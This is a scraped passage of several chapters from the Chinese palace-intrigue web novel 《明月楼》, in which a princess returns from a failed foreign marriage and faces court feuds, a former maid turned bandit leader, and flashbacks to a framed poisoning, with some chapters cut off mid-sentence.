五年前,他们都还是懵懂青涩的半大孩子,不懂什么家族势力之间的矛盾,只单纯地把对方当作最亲的手足和玩伴。虞静澜年纪最小,心智最稚嫩,以为其他人都像她这样想,直到自己和二皇兄险些被害死才明白,原来早就变了。 就如母后说的那样,母族之间的争斗厮杀,他们根本绕不开,注定要走上陌路。 虞静澜目光紧锁着她,恨声道:“如今,失意之人不过就是我们兄妹两个。你若还有半分良心未泯,就该主动请示父皇,将你的罪名昭告天下。” 虞静央感到前所未有的疲倦,转身欲离去,走了几步又停住,留下了一句话:“当年的事我无可辩驳,也不能辩驳,只想告诉你们一句。不管谁来,我都问心无愧。” 树欲静而风不止,被吹得枝干摇晃,叶芽发抖。她不再停留,侧脸隐入宫灯照不到的昏暗处。 虞静循生母出身低微,恰好关皇后多年无子,他便被过继到了坤宁宫抚养,虞静澜则是关皇后膝下唯一的亲生女儿。当年事发时二人双双中毒,如果幕后操纵者真的是那人,他们两个会毫不知情吗? 虞静央不知道,只觉得方才陡然呼啸起来的寒风太急,吹得她浑身都冷了起来。 --- 明月当空,皇宫宴席散去。众人纷纷恭敬退避,让刚刚出殿的晋王与上将军先行。 萧绍和虞静延并肩而行,台阶下到一半,前者先开口:“方才宴席上赵侯言行异样,不似从前,八成是归附了关家。” “赵氏有意江陵盐政官之位,看来是要拿到手了。”虞静延道。 13. 梦魇 《明月楼》全本免费阅读 杨柳轻拂,悄然垂进静寂的河面,宏阔的府邸门前锦灯通明,静候其主人的归来。 萧绍驱马打头,后面跟着一队护送的侍卫。车夫稳稳停下马车,侍女掀起车帘,扶着里面的女子出来。 府门大开,早早候在门口的一群小厮侍女恭恭敬敬请安,除了三两个熟面孔,其他的都是新安排来的。 虞静央让他们都起来,视线移向身后人,颔首道:“多谢萧将军送本宫回来。” 萧绍公事公办向她行礼:“恭送殿下。” 晚棠在旁一句话也不敢说,总觉得气氛格外奇怪。这时候,虞静央眉头微微一蹙,用帕子掩住了鼻子。 晚棠还以为是主子有何不适,下一瞬,一阵难闻的气味钻进了她鼻腔,像是什么东西烧焦了的味道。 她也捂住口鼻,问府中下人:“哪里来的味道?竟像走水了一般。” “姑娘冤枉,府上一切安好,怎会走水呢。”众人面带茫然。 气味蔓延得很快,萧绍等人也闻到了,而且似乎真的是从院墙里传出来的,偏偏看下人们的神色不似作假,是真的不知情。 晚棠偷偷望了望公主的脸色,大着胆子道:“殿下胆子小,恐府上不安全。正好萧将军还在,不如亲自带人进去检查一遍,也好让殿下安心。” 不过几句话的功夫,那股呛鼻的气味好像又渐渐淡了下去。萧绍按兵不动,沉声道:“公主府是陛下派人手整修的,用的都是信得过的人。” 表面安抚,实则委婉将晚棠的提议推了回去。虞静央收回目光,对晚棠一叹:“罢了,萧将军公务繁忙,本不该在此陪着本宫耽误……” “……” 萧绍紧抿着唇:“臣并无此意。” 他向身后打了个手势,亲兵会意,步履有序跨进公主府大门。 - 一队人马挨个院子检查,个个都随身带着沾过血的兵器。虞静央没有害怕,为了不妨碍他们搜查便也没有回房,随意在府上走了走,置身这座熟悉又不熟悉的府邸,竟觉得恍若隔世。 她居住的正院还与记忆中一样,陈设器具都没有大的改动,“绥欢院”的大字牌匾是她母亲当年亲手所题。虞静央没有急着进去,而是去其他院落转了一遍,最后走到东南角一处眼生的小阁楼前。 这是…… 晚棠笑:“从前殿下总念叨着想要个阁楼看星星,现在可算有了。” 虞静央望着微怔。五年前她出嫁时,这里只建造了不到一半,本以为会随着她的离开而停工,没想到如今回来可以看到它建好的模样。 这座阁楼造型精致,个中细节完全按照她的心意修建。可关于此处修筑的那些小巧思,她只对一个人说过。 虞静央眉眼低垂,过去某段回忆藏在她脑海深处,在这一刻被唤醒。 “工匠动作很快,看样子很快就能建好。未雨绸缪,你先给它起个名字吧。” 她早已想好:“‘明月楼’,如何?” 那人意识到什么,打趣:“‘何处相思明月楼?’” 她立马炸毛,微红的面颊上写着此地无银三百两:“我才没想你呢!” 现在,“明月楼”三个大字就挂在阁楼门前,皎洁的月光均匀地洒在牌匾上,虞静央看了,竟觉得有些晃眼。 她不再停留,转身离开这里,走到半途的位置,遇上了来向她复命的萧绍。 他手下的人动作很快,已经查完了府上所有的院落,并没有发现什么人为的异常。方才那股刺鼻的味道来自厨房,照明的烛台点燃太久,倾斜的烛芯烧歪了一整根蜡烛,使蜡油滴在一边堆放的柴火上,烧黑了一大片。 此事发生得偶然,但也多亏及时发现,不然因此走水也说不准。 萧绍替她处理妥当,明显没有打算多留,虞静央已经解除了祸患,便也不再留他。一个向绥欢院缓缓而去,一个走向府邸外门。 晚棠跟着虞静央,低声道:“殿下大可安心了。有萧将军仔细查过,关家手下的人没机会对殿下不利。” 虞静央此时心情还算轻快,想起府门前的对话,不禁嘴角微弯:“你在我身边久了,总是一个眼神就能明白。” 晚棠笑嘻嘻道:“这是应当的。” 虞静央不喜太多人侍候,便让他们悉数退下了,只剩主仆俩说着话,一边推开房门走进去。 然而,意外就发生在一念之间。虞静央进了卧房,转过玄关拐角处,数十盏烛台照得整个空间亮如白昼,微小的火苗明明暗暗,恍惚间竟凑成了一只张着血盆大口的巨兽,冒着刺眼的光闯进她眼帘。 一段被刻意回避的记忆就这样被强行唤醒,虞静央脑中当即“嗡”地一声,什么理智都找不见了。 公主府门口,女子失控的尖叫声穿过了几道高大的院墙,让萧绍离开的步子猛地停住。 怎么回事? 难道是他们疏忽了什么地方,府上真的藏着歹人?! 这一念头彻底惊起了萧绍内心的慌乱。他抽出腰间剑刃,几乎是一路狂奔了回去,直接闯进了绥欢院。 “殿下,殿下!” 无人回应他。卧房门大开着,晚棠惊慌的喊声夹杂着器具落地倒塌的重响传进他耳朵,下一刻,虞静央的背影进入他视线,正凌乱又仓皇地向门外后退,眼见就要被高高的门槛绊倒。 “别过来,你们别过来!” 萧绍一震,几个箭步冲过去,一手揽住了她腰。他面露杀意,锐利的眸子扫向整个卧房,却见窗户紧闭,没有任何刺客歹人出现过的踪迹,只有满堂明晃晃的烛火摇曳,亮得人眼晕。 这—— 他猝然低头,背靠在他胸膛的女子尚且没有从惊惧中缓过神,像极度惧怕什么一样双手挡在自己眼前,浑身不住地颤抖。 “殿下?”萧绍心中更加不安,尝试着叫她。虞静央的神志终于因这一声轻唤醒来,第一反应却不是立马躲开他,而是就着这个姿势直接转身藏进了他怀里,手指紧紧攥住他衣襟,仿佛救命稻草。 萧绍握着冲进来的那柄长剑,“咣当”一声掉在了地上。 “别走,我…我害怕……”虞静央声音又 14. 梨花 《明月楼》全本免费阅读 边境。 战火熄灭一段时间后,南江整顿军队,忽然出其不意发兵反扑西戎,试图夺回损失的财富。起初西戎军没有防备,但很快反应过来出兵迎战,于是边境动荡再起,又开始了新一轮的较量。 两军交战,隔江扎营遥遥相望。 这天,南江发起突袭,试图打压西戎攻势,逼退到百里之外。正是难舍难分之际,忽然有一支极为强劲的不明势力从天而降,打破了胜负难分的僵局。南江军在两面夹击的攻势下不堪重负,被迫节节败退。 马蹄踏过扬起漫天黄沙,来者招式诡谲阴狠,不像哪个国家的正规军队。这时候有人看清了那面军旗:“是、是梨花寨!” “梨花寨?!” “怎么可能!” 南江军中气急败坏的议论声此起彼伏,士气更是受挫。临近溃逃之际,一袭艳丽的红衣终于现身,轻盈地跃过一路举起的盾牌,落在泾渭分明的两军阵前。 “黎娘子,竟然真是你!” 南江将领怒火中烧,质问道:“梨花寨向来独行不站队,今日之举动,莫非是要背弃规矩倒向西戎了吗?!” 手下搬来了藤椅,黎娘子从容坐下,漫不经心道:“我竟不知梨花寨何时有了这样一条规矩,梁将军倒是比我清楚得多。” 被称为梁将军的人明显一愣。他们南江为了反击西戎,这一次可谓是下了血本,好几个名声在外的武将都在前线待命,他只不过是其中之一,这一战恰好上阵,但先前从未与梨花寨的人打过交道。 黎娘子扫了一眼他,徐徐笑了:“梁将军这般神情,是在奇怪为什么我会认识你?说来是巧,五年前,我曾与将军见过一面。” 梁将军心中更没底了,面露狐疑,奈何她戴着面具,他根本看不见她的面容。 黎娘子收起笑意,不打算继续浪费时间:“梨花寨不站队,不是不敢,只是因为趟这浑水有害无利。今日西戎于我有利,我自然该适时出手。” 梁将军冷笑:“西戎拿出了多大的筹码,难道还能比我南江给出的多?” 之前朝廷向梨花寨求助,由王储殿下身边的黄门总管刘原担任使者,愿意给出的丰厚报酬是西戎永远都给不了的,最后还不是一样做了无用功? “你们很大方,可惜派来的人我不喜欢,只能杀了。”黎娘子语气淡淡,自顾自抚平衣角。 她说得轻描淡写,南江众人无不惊耳骇目。难怪……难怪刘原带的整个使团会无缘无故“失踪”在返回南江的路上,生不见人死不见尸,原来根本就不是什么失踪,是梨花寨直接把他们杀了! 梁将军怒而瞋目,直指着黎娘子:“我南江与梨花寨无怨无仇,你们如此欺人太甚,分明是投靠了西戎,给他们当狗使唤!” 形势已然如此,若留着这黎娘子,日后只会有无穷的祸患。 思及此,梁将军拔出武器直逼她面门,大喝:“拿命来!” 黎娘子依然安然坐在藤椅上,眼皮都没有抬一下。直到梁将军逼至面前的前一刻,她身形一闪跃上空中,如灵活的猎鹰般一翻躲开砍来的刀刃,脚尖一用力,梁将军手中的长刀便被踢飞出去。 她落到地上,五指如铁钳般攫住了梁将军的脖颈。 “放开我们将军!”南江士兵见状急了,欲冲上前,又被早有准备的梨花寨部众死死拦住。 “无怨无仇?” 黎娘子身手深不可测,虽是女子,力气却大得惊人,就连梁将军在她手里也毫无还手之力。眼见人已经奄奄一息翻起了白眼,黎娘子冷嗤,不紧不慢对他刚才的话作出了回应:“大齐宣城公主于我有恩,你们南江是怎样对待她的?” “你们的王室轻视她,为难她,把她关在千寻塔禁闭,最后发落去了行宫!” 她声音越来越激烈,最后怒气上来,一脚踹在了梁将军的胸口,直接把人踢飞出去数尺远! 梁将军口吐鲜血,重重摔在了地上,仅存的一丝意识还在顽强地在脑中搜寻。 大齐宣城公主,不就是他们的储妃虞氏吗? 这个黎娘子……又和她是什么关系? 黎娘子极少在人前失态,此刻却是恨意和怒火搅在了一起,回想起当年虞静央受的苦,她心头的暴戾几乎忍不住。 她从小习武,十二岁时被指去保护宣城公主,昭宁十五年随送嫁仪仗进入南江。当时,她还不是大名鼎鼎的梨花寨大当家,而是虞静央身边的掌事女官,晚梨。 因为战败国的缘故,她们在南江的日子并不算好过。她守在玉驾前,甘愿成为一把锋利的刀,危险时出鞘,平时则归在鞘中,陪公主一日一日好好过。 女子远嫁异国,能依靠的也就只剩她的丈夫。虞静央做了南江储妃,要想安稳度日,便要尽力与她的丈夫郁沧王子处好关系。起初,两人不是没有过相敬如宾的和睦日子,但好景不长,这种和睦很快就被打破了。王储府上本就有一众不安分的姬妾,而这还不算什么,一封自大齐远道而来的书信,给了这段本就不深的夫妻感情致命一击。 那晚,郁沧拿着信冲进虞静央所居的院子,把满室陈设摔了个粉碎。 有人不想公主好过,很久前就有意在南江散布有关她的谣言,分明都是莫须有的事,可谣言猛于虎,一旦被强加在一个女子身上,等待她的就会是无尽的祸事。 郁沧生性自私冷漠,从来只相信自己。他信了那些谣传,只是从前一直积压在心底没有发作,这次再加上一封信,他骨子里的暴虐和多疑便悉数爆发,再也藏不住了。 郁沧对虞静央扬起了手,就要落下时,晚梨冲了上去。她跪地求情,死死挡在虞静央面前,试图通过重提大齐公主这一贵重的身份说服郁沧手下留情,然而男人正处于暴怒之下,早就失去了全部理智,何况,南江早就不把大齐放在眼里了。 “没规矩的东西,滚开!”郁沧厉声斥骂。晚梨咬牙,紧紧抱着他的腿不松开,因为她知道,要是今日自己退了,等待着公主的将会是怎样的遭遇。 晚梨习武有劲,郁沧甩不开,盛怒之下反而笑了。 “你这个侍女,倒是足够忠心。” 郁沧不再挣扎,突然弯腰下去抬 15. 惊雷 《明月楼》全本免费阅读 随着一声闷响,利刃没入身体。郭元昌的动作戛然而止,像终于醒来一样颤颤巍巍转过头,不敢置信地望了虞静央一眼,旋即没有了反抗的能力,重重倒在了地上。 “来、来人……” 他还想求救,而虞静央没有给他机会,再度冲到他面前,那直挺挺插在后心的匕首被拔了出来,爆开一朵艳丽的血花。 “殿下……”晚梨哀声唤着,想使虞静央先冷静。而后者已然完全失控,根本听不到别的声音,只是紧紧握着匕首,疯狂地一下又一下捅进地上那人的身体,直到他身上布满了血窟窿,彻底没了声息。 外面响起一声惊雷,随之而来的闪电划破天际,照亮了虞静央刀下那滩血肉模糊的肉泥。肮脏滚烫的血溅在她脸上,又被泪水冲淡稀释,呈现出一种诡异而妖艳的红。 这是她第一次杀人。 虞静央瘫坐在地上,手中的匕首无力脱落,望着那具死在自己手里的尸体,终是捂住嘴哽咽出声。 那软筋散分量不大,晚梨的身体渐渐有了知觉。她手脚并用过来,暂时抛却了一切尊卑规矩,把虞静央紧紧护进了怀里,“别怕,殿下别怕……” 她的手安抚性的覆上虞静央的手背,低声道:“记住,郭元昌是奴婢所杀,殿下赶来的时候他就已经死了。” 郁沧心里已经有了芥蒂,要是让他知道身边宠宦是被公主所杀,定然不会善罢甘休。所以,这个罪名绝不能由公主来背。 主仆两人依偎在一起,如同两只冻僵的小兽相互取暖。虞静央浑身颤抖,坚持道:“不,不行。” 晚梨为了保护她而被郁沧发落,要是传出是她杀了郭元昌,那就是抗命不遵,郁沧岂会饶过她?事到如今,最好的办法就是…… 一个念头骤然冲进了虞静央的心,她一震,立刻扶着地站了起来。晚梨也跟着起身,见她毫不犹豫地扯下了自己腰间的通行令牌。 虞静央强硬地塞进晚梨手里,并把她往房门外推:“快走,你现在就走!” 晚梨顿时明白了她的用意,不住摇头:“不,奴婢不走,殿下——” “逃!” 虞静央语气激切,认真注视着她,“今夜就出城,再也不要回来。晚梨,有你在外面,我们才有离开这里的机会……” 晚梨一怔,看见虞静央面色苍白,形容狼狈,那双好看的眸子里却燃着希望的火苗,寸寸写着野心和不服输。 这是她跟随虞静央的多年里,从没有见过的神采。 虞静央说:“等到熬过去,我们一起回家。” 她们的家…… 晚梨眼眶蓦地一热,轻声承诺:“殿下,等着我。” 说罢,她不再犹豫,三下五除二撕掉身上被弄得杂乱的裙边,最后留恋地望了虞静央一眼,转身离去。 有虞静央的通行令牌,晚梨一路顺利地出了王都,随后离开南江来到边境。直到她控制梨花寨,从晚梨变成了黎娘子,暗中派眼线潜入南江王都探查,才知道在她走后虞静央都经历了什么。 郭元昌被杀,她这个被发落的女使不知所踪,郁沧着人调查无果,加上不怀好意的妃妾在旁煽风,他终是怒火转移到了虞静央一人身上。 塔顶那么冷清,那么孤寂,公主被囚禁在那里三天三夜。布满整面墙的烛盏落到地上燃起了大火,一直到浓烟滚滚漫了出来,懈怠的守卫才意识到不对,等到获救之时,她早已奄奄一息说不出话。 自那以后,虞静央与郁沧之间的关系几近破裂。她大病一场,始终缠绵病榻难以痊愈,为了避开妃妾宫人的轻慢刁难,最终离开王府,踏上了去往远郊行宫的路。 旁人或许不知,但晚梨——黎娘子却十分清楚,最初嫁入南江时,公主也是有过安安稳稳在这里度过余生的想法的,而且遇事能忍则忍,全然不像还在大齐时那样张扬肆意。可是最后她自请离开王储府,一定是遇到的委屈和艰难已经远超过了她能承受的程度。 南江人轻视大齐,也轻视自大齐而来的公主,更不用说这个公主已经失去了王子的宠爱。 - 黎娘子扫视一圈南江士兵,语气是不加掩饰的狂妄:“今日我就是要帮西戎一把,你们能如何?要是不怕死,就尽管继续打。” 生生忍了五年,现在终于到了报复回去的时候。她直接把对南江的敌意摆到了明面上,偏偏又知道南江人拿她毫无办法,心中更是十分快意。 果不其然,南江众人激愤交加,却无人敢上前一步。这时候,西戎军阵中传出一个散漫的男声:“劳大当家出力了,至于接下来的事,继续交给我们吧。” 南江军不知说话的是何人,黎娘子却立刻分辨了出来。西戎军权长期由左贤王索达把持,阿穆苏一向说不上话,这次怎么能来前线? 黎娘子只怀疑了一瞬,接着懒懒道:“知道了。” 她顺势而下,令梨花寨部众撤退归去。 这是西戎内政,她不感兴趣。不过,若阿穆苏真的斗赢了他叔父,对她来说没有坏处。 --- 玉京,长公主府。 无须女使指引,即使五年不曾踏足这里,虞静央照样不会感到陌生。得知豫阳长公主在佛堂后,她轻车熟路地经过重重长廊,推门进去。 门轴吱哑一声轻响,长公主听见了,但依旧背对着虞静央,手里拿着一串沉香木念珠。直到佛经念完,才缓缓睁开眼。 她眸中清净无波,一如从前。虞静央上前,提裙跪在她身侧:“姑母,阿绥回来了。” 豫阳长公主“嗯”了一声,方微微侧身,目光移向她面庞,终于有了几分怀念的波澜。 分别多年,原本以为再也见不到这个一手带大的小姑娘,不成想她有如此造化,竟能从南江完好无损地回来。 “回来就好。”长公主拉起虞静央的手,口吻自然得仿佛什么都没有发生过,问道:“我本 16. 蒲团 《明月楼》全本免费阅读 终于还是得到了这个自己不愿接受的答案,长公主怒火攻心,胸口起起伏伏,对着那灵位大声道:“姜姐姐,你听见了吧?这就是你的女儿!” 姜家与关家有什么过节,那都是他们的事,不该牵连到皇子公主身上。虞静央敢对自己的兄弟姐妹动手,当真是长本事了! 豫阳长公主忍了又忍,转头冲着虞静央,恨声道:“滚回你府上,即日起抄经赎罪,每隔三日送过来!别说你是什么南江储妃,只要回了我大齐地界,就算你是皇帝老子,本宫也照管不误!” …… 只是这样? 虞静央微微错愕:“姑母?” 长公主是她的姑母,但也是二皇兄和四皇妹的。她犯下如此大的过错,本以为会被重重责罚,甚至断绝往来,从此被厌弃都是有可能的,可为何…… 长公主活了多少年,怎会不知虞静央在想什么,冷笑道:“到底是我作孽,摊上一个闯祸精,若再不严加管教,你可不是要把天也捅出个窟窿!” 她一手带大的孩子,就如同亲生女儿一般,就算杀人放火心狠手辣至此,难不成就能割断这份亲情?还不是一样要受着!至于老二和老四那边,她再气急败坏,也只有在别处另行补偿了。 “滚!”长公主厌烦地推了虞静央一把,力道却不重,撇下她径自离开了。 看似一点情面不留,其实到底还是舍不得。 虞静央还跪在原地,望着那远去的背影半晌才回神,自顾自默然很久,垂下头,眼眶悄悄红了。 即使她罪大恶极,也不会落得个众叛亲离的下场吧。至少有姑母在,地面太凉,她总有个蒲团坐。 …… 半掩的窗外,虞静延立在原地,眸中神色微暗。 他心怀的那点微弱的希望,终是被她亲手熄灭了。 虞静延踌躇许久,最后到底是选择离开。转身时,手里尚且提着一包热腾腾的青梅糕。 从前喜欢吃的东西,现在不一定会喜欢了吧。毕竟,人早就不是从前那个天真单纯的人了。 近日公文繁多,他分身乏术,抽空来一趟长公主府已是不易。现在,他该回去处理事务了。 陇西矿地那边有人手脚不干净,他原本担忧与姜氏本家有关系,昨日亲自去了一趟姜府,好在舅父姜侯从来是个聪明人,三言两语便听出了他的试探之意,知他不便透露也未曾刨根问底,话中意思却十分明确——叫他不必顾忌,无论有何异常均可放心大胆地查。 言至于此,虞静延悬着的心稍稍放松了,起码心中有底,确保玉京姜府坦坦荡荡,并未参与其中。可与此同时基本也能肯定,盘踞陇西的姜氏旁支内部已不再干净了。 天子常年信重姜氏,有人的心思便活泛起来,做了贪心枉法之事。 思及此,虞静延面沉如水。 等候在外的张栩见主子一言不发走了出来,手里仍拎着拿给三公主的糕点,不由诧异:“殿下,这点心怎么……” “回府。”虞静延未答,只吩咐一句,径自上了马车。 张栩见状疑惑,却也不敢多话,忙应了一声,把那糕点仔仔细细收起来,心道拿回去给小郡主吃也好。 …… 虞静延走后不久,虞静央也出来了。毕竟有豫阳长公主的逐客令在前,她识得眼色,岂敢在姑母气头上火上浇油。 回到自家府邸,她用过午膳,本打算小憩片刻后去姜府探望舅父一家,这时府上小厮前来通报,说宫里送来了赏赐。 虞静央不由诧异。她回到玉京已有一段时日,除了第一晚,随后第二日便接到圣旨入宫暂住,直到昨日才重新回到公主府。她知道这是天子彰显恩宠的手段,目的是为了给她撑腰,自然乐得接受。可封赏早在第一日便赐下,怎的今日又来了一份? 她满心疑窦,进来的小黄门面容陌生,她不认识,专门询问过才知,这些东西竟是从坤宁宫而来。 关皇后视他们兄妹如眼中钉,能安什么好心。 虞静央谢过恩,命人一一查看,无非是金玉珠钗并些绮丽衣裙,未见什么不寻常。打开最底层放着的锦盒,里面静静躺着一支红玉凤钗,并不是时兴的款式,倒像有些年头了。 这支簪子,是她母亲姜氏的遗物。之所以是凤凰,是因为当年关姜两族为后位争执不休,均不肯相让。 虞静央的脸色瞬间沉了下去。 她在宫中居住的几日里,父皇吩咐不让任何人来打扰,目的无非是断绝她与坤宁宫起冲突的可能,也正是因为圣谕在前,她始终没有与关后有过正面交锋。 如今看来,关氏是等不及了。 虞静央暗暗冷笑,合上那放置凤钗的锦盒:“皇后美意,本宫心领了,当亲自入宫谢恩才是。” --- 乾安宫偏殿,御医正为萧绍包扎,无人多话,只有前殿屏风外的锦靴脚步声远了又近,一听便知焦躁。 手臂上伤口的血总算止住,萧绍坐在榻边一言不发,连眉都没皱一下。 虞帝终是忍无可忍,大步流星绕过屏风进来,骂道:“不知轻重的笨小子!” 萧绍依旧没说话,绷着脸活像头倔驴,虞帝见状怒火更甚,绕着他疾步转了半圈:“朕让你跟着税务司清点财政之事,谁让你去追查罪臣的?是把自己当廷尉了不成?!” 安定的环境里易生蛀虫,外事司贪墨被人告发后,朝廷派人前去清查,最后竟从下属的一个小吏府上搜出上万两白银。此事一出举朝皆惊,好在人赃并获,也没有牵扯太多利益相干。 虞帝有心让萧绍在文治上历练一番,虽知把他放在廷尉府更合适,却不愿他卷进朝堂上那些势力纠葛,于是就命他随税务司办事。谁知他不识苦心,最后还是进去横插了一脚。 天子盛怒之下,萧绍分毫不畏惧,直言道:“陛下命臣协助税务司清算赃款,既是清算,自当先查明真正的来处,那笔银两从宋主簿府上搜出,实际主谋定然另有其人。陛下明明看得清楚,又为何要阻拦臣?” “主谋主谋,朝堂上牵一发而动全身,势力纠 17. 前尘 《明月楼》全本免费阅读 探虞静央的口风,难道已经得到了陛下的许诺,要让她与南江断绝关系? 是了,不论姜氏还是她的儿女,都是能博得陛下怜惜的。 年纪不大,其母的手段却学了个十成十。 想到这里,关皇后脸色沉下去:“你还真不愧是姜翎音的女儿。” “皇后在后宫独尊多年,却还是走不出心中执念吗?” 虞静央早已习惯了她的敌意,从小到大,如果不是有姑母的庇护,他们兄妹俩还不知被算计成了什么样。 “你恨我母亲,也恨我和兄长,可你奈何不了晋王府,就只能把矛头对准我。可惜,天不遂皇后之愿,终是让我回来了。” 当年还没有什么大齐,前朝统治残暴不仁,虞帝出身微末,凭着一腔豪情壮志便揭竿起义。当时的姜氏是陇西望族,姜公看中他的能力,便做主将自己的女儿姜翎音嫁给了他。婚后二人琴瑟和鸣,情意甚笃,生下虞静延几年后,又怀上了虞静央。 后来,虞帝统领的势力越来越大,陇西一族的拥护已经无法满足大业之需,只有与玉京的门阀大族合作,为了得到关氏的支持又迎娶了关家小姐,关玥娘。 世间夫妻向往举案齐眉,富贵者或可纳妾,岂有一夫二妻之理?姜家虽不忿,却终是为了近在咫尺的举世功业而妥协,只剩一个女子苦苦挣扎,痛得鲜血淋漓。 姜翎音性格刚烈,从不是个会轻易妥协的女子,非是她不识大体,只是骨子里高傲使她不能忍受贬妻为妾,以及将自己的夫君拱手让人。饶是虞帝如何许诺或安抚,都无法捂暖那颗渐冷的心。 第二年,姜夫人诞下一女,然心头郁结,身子日渐虚弱。同年秋日,大军攻入玉京,虞帝推翻末帝登上皇位,建国号为齐,改元昭宁。 新君已立,矛盾随之而来,皇后之位绝无仅有,究竟该立何人? 就在前朝后宫陷入僵局难以化解之时,姜夫人的身子油尽灯枯,撒手人寰。 曾经相濡以沫一起吃苦的人,终是无福同甘。虞帝悲痛万分,然而,除了一个好听的谥号和一个极尽隆重的丧仪,他依旧什么都给不了。 姜夫人薨逝三月,关夫人入主中宫,成为大齐皇后。 虞帝把所有愧疚都补偿在了虞静延和虞静央两兄妹身上,除此之外,还常常亲至姜夫人陵前悼念,毫不避讳地称之为“亡妻”。 这一举动自然惹得关氏一族不满。关皇后对此不快也是正常,不过逝者已矣,无论如何都动摇不了她的地位。偏偏她被妒忌之心冲昏了头脑,依旧将死去的姜氏视为眼中钉肉中刺,几乎变成了半生的执念。 可叹可笑,一个男人犯下的罪孽,报应却由两个女人遭受,甚至蔓延到下一代,不死不休。 关皇后看不清因果。她不怨虞帝,只有自欺欺人地把恨意施加在旁人身上,如何不算一种病态的偏执。 虞静央的话辛辣见血,关皇后心头火起,又强忍着:“当初是你因爱慕南江王子执意远嫁,又说要为下毒之事赎罪,与本宫有何干系。” 当年内情如何,二人都心知肚明。她要装傻,虞静央目光冰冷,嗤道:“皇后当真是健忘。” 大齐建国以后,皇帝对当年拥护过他的士族更加宠信倚重,于是关、姜两族日盛,同时也势同水火,彼此之间争斗不休。 前朝后宫,本为一体。像虞静央这样的天家之子,即使万般不愿,也不可避免地被牵扯进朝堂之斗。 时间溯回到昭宁十五年。那一年,前线数位武将战死,军中损失惨重,战败的消息传回了朝廷。大齐建国后社稷不稳,这场仓皇迎接,又断断续续持续数年的战役,终以南江得胜而告终。 两国停战议和,需要遣一位公主和亲。消息甫一传出,众人皆是惶惶不安,毕竟当前圣上膝下,已到适婚年纪的只有虞静央和虞静澜两人。 一时间事态僵着,就这么拖了很久也没有决定。 对此,虞静央倒是没有那么忐忑。毕竟,她与萧绍之间虽然还没有纸上的婚约,关系却人尽皆知,父皇也是知情的,顶多再过两年,赐婚的圣旨便会下来。到了那时,她就可以和阿绍在一起,名正言顺吃他手里的糖葫芦了。 四妹年纪尚小,只勉强到了成婚的年龄。据她的猜测,父皇最后应该会在宗室里另择女子,不会轮到她们两个头上。 虞静央想当然地这样以为,却根本没有想到,两日后,自己会亲自求到父皇面前。 那天天气晴朗,风细云淡。虞静央闲来无事,难得乖巧地窝在闺房绣嫁衣,想到日前发生的事,心情也变得欠佳起来。 前日二皇兄和四皇妹双双中毒,现在还没有苏醒过来,也不知怎么样了。皇室查不出凶手,因此人心不安,她很担心,却也做不了什么,只有听兄长的叮嘱,安安分分留在自己府上不要出去。 虞静央心中郁郁,莫名有些无助,想着:要是他没去淮州就好了。 想起某人,她一边绣,一边哼了一声。 摔坏了她最喜欢的珠花,就算是无心的,也要受到惩罚,传多少封求和信回来也是无用的。等他回来,要给她赔一个一模一样的才行。 不过……罚归罚,嫁衣还是要绣的,也许很快就要派上用场了。 但不能让他看见,免得他开心得忘了自己姓甚名谁。 想到这里,虞静央更准备趁萧绍还没回来多绣几针,没过多久,外面忽然传来通报声,说皇后请三公主进宫一趟。 从小到大,她与关皇后的关系都算不上亲近,甚至称得上微妙,要不是有四皇妹在,只怕会更僵硬。 虞静央不知关皇后有什么要事,倒也没有多加怀疑,简单梳洗一番便离府,坐上了入宫的马车。 踏入坤宁宫的大门,里面涌动着不寻常的气氛。关皇后脸上没有了平时的和善,负责刑讯的宫人得令,把一个老妪扔在了她面前。 虞静央低头一看,竟是侍奉她长大的奶娘,赵嬷嬷。 关皇后直指着她,愤怒又悲痛:“赵嬷嬷是你的心腹,已经承认了在循儿和澜儿的饭食里下毒的 18. 连枝 《明月楼》全本免费阅读 虞静央本以为可以通过这种方式顺藤摸瓜找到凶手,却没想到会得到这样一个答案。她如遭雷击,一颗心直直向下坠落,重重摔倒地上。 ……姜家? “物证”被一一呈到她面前,仔仔细细拿去检查,却没有发现任何纰漏。若非虞静央心中确信,几乎也要怀疑上自己。 她长这么大,自问见过的明枪暗箭已经足够多,如今日之局明显蓄谋已久,依旧让她双唇颤抖说不出话。 关皇后继续说着:“诚然关姜两族不睦,可本宫怎么也没有想到,你们姜家的胆子竟大到如此地步,胆敢用这样阴毒的办法谋害皇嗣!” “皇后慎言!”虞静央猛地抬起头,厉声喝道:“我舅父是随父皇打天下的有功之臣,姜家满门忠君为国,皇后娘娘想凭此就为姜府定罪,未免有些轻率。” 关皇后脸色更差,竟还耐着性子与她周旋:“那本宫还能如何调查,才能令三公主心服口服?” 虞静央没意识到反常,咬牙道:“同康药铺是姜府产业不假,办差的伙计却并非全是姜家之人。既如赵嬷嬷所言,不如将那个与她勾结的郎中捉进宫来对质!另外,自然也要查清那人底细才好判案。” 听她如此说,关皇后竟笑了:“好,那就依你所言,来人!” 抓人需要时间,虞静央被扣在坤宁宫出不去,只有忍着焦灼苦苦等候。期间,她本能地想要寻求庇护,若能派人出去偷偷给晋王府或姜府报个信都好,可是心中思量许久,终究还是偃旗息鼓。 一旦哥哥收到她的消息,必定会放下一切要事前来保她,到了那时,他们兄妹的命运就牢牢牵系在了一起。可此案最终走向尚未可知,若她最后百口莫辩罪责难逃,哥哥为了护她,会把罪名全部揽到自己一人身上。 哥哥是皇长子,已经获得了朝中不少臣子的支持,不知是否引来父皇的忌惮。倘若背上一个谋害手足的罪名,将会受到多大的打击?就算最后能成功脱罪,照样沾上一身腥。 他们兄妹荣辱一体,更与姜家息息相关。若哥哥失势没了夺嫡的资格,他们多年来苦心孤诣积累的势力就都完了,包括她在内的所有人,都将变成关氏案板上的鱼肉。 虞静央心中没底,更不确定自己能不能从这次事件中全身而退。比起被人诬陷冤枉,她更害怕最后发现一切真的与姜府脱不了干系。 自己的母亲姓姜,关氏是他们的对手,这是虞静央从小就明白的道理。长这么大,她或多或少地知道一些关姜两族的争斗,清楚他们为了扩张势力,达到自己的目的,会做一些见不得光的阴暗事。 原本虞静央对此并不太关注,心中没有清楚的概念,只是单纯地向着姜府并希望他们能赢,却从未有过这样的意识——既然关皇后会为了家族算计她和兄长,那姜氏呢,这次会不会真的下毒害了二皇兄和四皇妹? 虞静央在意虞静澜,然而,心中根深蒂固的认知已经让她在潜意识里做好了选择。只有保全姜家,她和兄长才能安然无忧。 于是,她最终还是没有搬救兵,第一次选择了自己独自承担这一切。约莫两个时辰后,皇后派出的人回来了,却没有带来那个郎中。 原来,那人自知犯了大事,已在家中自尽身亡了,而尸体旁边恰好放着一份姜府名下的地契。 